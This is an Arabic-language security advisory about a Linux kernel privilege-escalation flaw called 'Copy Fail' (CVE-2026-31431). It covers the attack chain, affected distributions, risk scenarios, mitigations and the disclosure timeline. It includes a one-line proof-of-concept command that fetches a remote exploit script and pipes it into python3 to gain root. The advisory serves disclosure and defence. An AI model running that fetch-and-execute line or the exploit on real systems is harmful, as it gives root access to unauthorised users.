732 بايت تُسقط كل توزيعات Linux: ثغرة أسطورية كامنة منذ قرابة عقد

🚨 ثغرة أسطورية: 732 بايت تُسقط كل توزيعات Linux، كامنة منذ قرابة عقد
تم الكشف علنًا عن ثغرة في نواة Linux تُدعى«Copy Fail»(CVE-2026-31431):
- سكربت Pythonبحجم 732 بايت
- موثوق بنسبة 100%، دون حاجة إلى نافذة سباق أو إزاحات للنواة
- يؤثر في كل توزيعات Linux(منذ 2017 حتى اليوم)
- أداة هروب من الحاويات، وهجمات عابرة للمستأجرين
- كامنة منذ قرابة عقد، حتى الكشف عنها علنًا في 29 أبريل 2026
السكربت ذاته يعمل علىUbuntu وRHEL وAmazon Linux وSUSEدون أي تعديل.
🎯 جوهر الثغرة
خلل منطقي واحد
Copy Fail هوخلل منطقي خطي (straight-line):
- لا يحتاج إلى نافذة سباق: بخلاف معظم ثغرات تصعيد الامتيازات المحلية (LPE) في Linux التي تتطلب سباقًا
- لا يحتاج إلى إزاحات للنواة: لا يحتاج إلى قيم إزاحة خاصة بنواة معينة
- موثوق بنسبة 100%: ينجح في كل مرة
- السكربت ذاته: يعمل على جميع التوزيعات
سلسلة الثغرة
سلسلة الهجوم في Copy Fail:
- خطأ منطقي في authencesn: خلل (bug) منطقي
- AF_ALG: عبر واجهة crypto API في النواة
- splice(): استدعاء متسلسل
- كتابة 4 بايت في page-cache: أداة الهجوم النهائية
- قابلة للاستغلال منذ قرابة عقد: من 2017 حتى صدور الترقيع
📊 نطاق التأثر
توزيعات تم التحقق منها رسميًا
| التوزيعة | إصدار النواة | الحالة |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ تم التحقق |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ تم التحقق |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ تم التحقق |
| SUSE 16 | 6.12.0-160000.9-default | ✅ تم التحقق |
توزيعات أخرى متأثرة
التوزيعات التاليةمتأثرة أيضًا:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- أنظمة Linux المدمجة
الخلاصة: إذا بُنيت نواتك بين عامي 2017 وصدور الترقيع —فأنت متأثر.
💡 السيناريوهات عالية الخطورة
| السيناريو | الخطورة | التأثير |
|---|---|---|
| مضيفات Linux متعددة المستأجرين | عالية | أي مستخدم يصبح root |
| عناقيد Kubernetes / الحاويات | عالية | هجمات عابرة للحاويات وعابرة للمستأجرين |
| CI Runner / Build Farm | عالية | PR يحصل على root في الـ runner |
| خدمات Cloud SaaS تشغّل كود المستخدمين | عالية | المستأجر يصبح root للمضيف |
| خوادم Linux القياسية | متوسطة | LPE داخلي، قابل للهجمات المتسلسلة |
| حاسوب محمول بمستخدم واحد | منخفضة | خطوة تصعيد امتيازات بعد الاستغلال |
🔧 إجراءات التخفيف
الحل 1: تحديث النواة (موصى به)
حدّث النواة إلى إصدار يحتوي علىmainline commit a664bf3d603d:
- محتوى الإصلاح: التراجع عن تحسين in-place في algif_aead لعام 2017
- النتيجة: لم تعد صفحات page-cache تظهر في destination scatterlist القابلة للكتابة
- الحالة: أطلقت معظم التوزيعات الرئيسية ترقيعات
الحل 2: تعطيل وحدة algif_aead (مؤقت)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
أثر تعطيل algif_aead
| المكوّن | التأثير |
|---|---|
| dm-crypt / LUKS | لا يتأثر |
| kTLS / IPsec | لا يتأثر |
| OpenSSL / SSH | لا يتأثر |
| فضاء المستخدم لـ AF_ALG | قد يتأثر |
الخلاصة: بالنسبة لمعظم الأنظمة، فإن تعطيل algif_aeadلا يؤثر تأثيرًا ملحوظًا.
الحل 3: منع AF_ALG عبر seccomp
بالنسبة لأحمال العمل غير الموثوقة (الحاويات، الصناديق المعزولة، CI)، امنع إنشاء مقابس AF_ALG عبر seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 عرض PoC
أُتيح PoC للثغرة علنًا ليتمكن المدافعون (defenders) من التحقق من أنظمتهم:
تشغيل سريع
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
تفاصيل PoC
- حجم الملف: 732 بايت
- اللغة: Python 3.10+ بمكتبة stdlib فقط (os, socket, zlib)
- الهدف الافتراضي: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
تحذير: يعدّل السكربت page-cache للملف التنفيذي setuid؛ التغييرات لا تبقى بعد إعادة التشغيل، لكن غلاف root حقيقي. لا تشغّله في بيئة الإنتاج.
📅 الجدول الزمني للإفصاح
| التاريخ | الحدث |
|---|---|
| 2026-03-23 | الإبلاغ إلى فريق أمن نواة Linux |
| 2026-03-24 | التأكيد الأولي |
| 2026-03-25 | اقتراح الترقيع ومراجعته |
| 2026-04-01 | إرسال الترقيع إلى mainline |
| 2026-04-22 | إسناد CVE-2026-31431 |
| 2026-04-29 | الإفصاح العلني |
🔍 المكتشف: Xint Code
اكتشفXint Codeالثغرة:
- زمن الفحص: نحو ساعة واحدة لمسح Linux crypto/ subsystem
- طريقة الاكتشاف: تدقيق كود مدعوم بالذكاء الاصطناعي
- التحليل الكامل: السبب الجذري (root cause)، والمخططات (diagrams)، وprompt المشغّل (operator prompt)
- اكتشافات أخرى: اكتُشفت في الوقت نفسه ثغرات أخرى عالية الخطورة لا تزال قيد الإفصاح المنسّق
سجل إنجازات Xint Code
- 0-day RCE: في ZeroDay Cloud، وهيمنة على فئة قواعد البيانات (Redis وPostgreSQL وMariaDB)
- DARPA AIxCC Top 3: الوصول إلى نهائي DARPA AI Cyber Challenge
- DEF CON CTF 9×: الفريق الأكثر فوزًا في تاريخ DEF CON CTF
📝 الخلاصة
ثغرة Copy Fail (CVE-2026-31431) هيثغرة أسطورية في نواة Linux:
- 732 بايت تُسقط كل توزيعات Linux (منذ 2017 حتى اليوم)
- موثوقة بنسبة 100%، بخلل منطقي واحد
- هروب من الحاويات، وهجمات عابرة للمستأجرين
- كامنة منذ قرابة عقد، حتى الكشف عنها في 29 أبريل 2026
- سيناريوهات عالية الخطورة: مضيفات متعددة المستأجرين، عناقيد حاويات، CI Runner، SaaS
- التخفيف: تحديث النواة أو تعطيل algif_aead
- المكتشف: Xint Code، تدقيق كود مدعوم بالذكاء الاصطناعي
ثغرة أسطورية كامنة منذ قرابة عقد، وسكربت واحد يُسقط كل توزيعات Linux.
الموقع الرسمي للثغرة:https://copy.fail
PoC على GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431
التحليل التقني:https://xint.io/blog/copy-fail-linux-distributions
ترقيع النواة (Kernel):https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5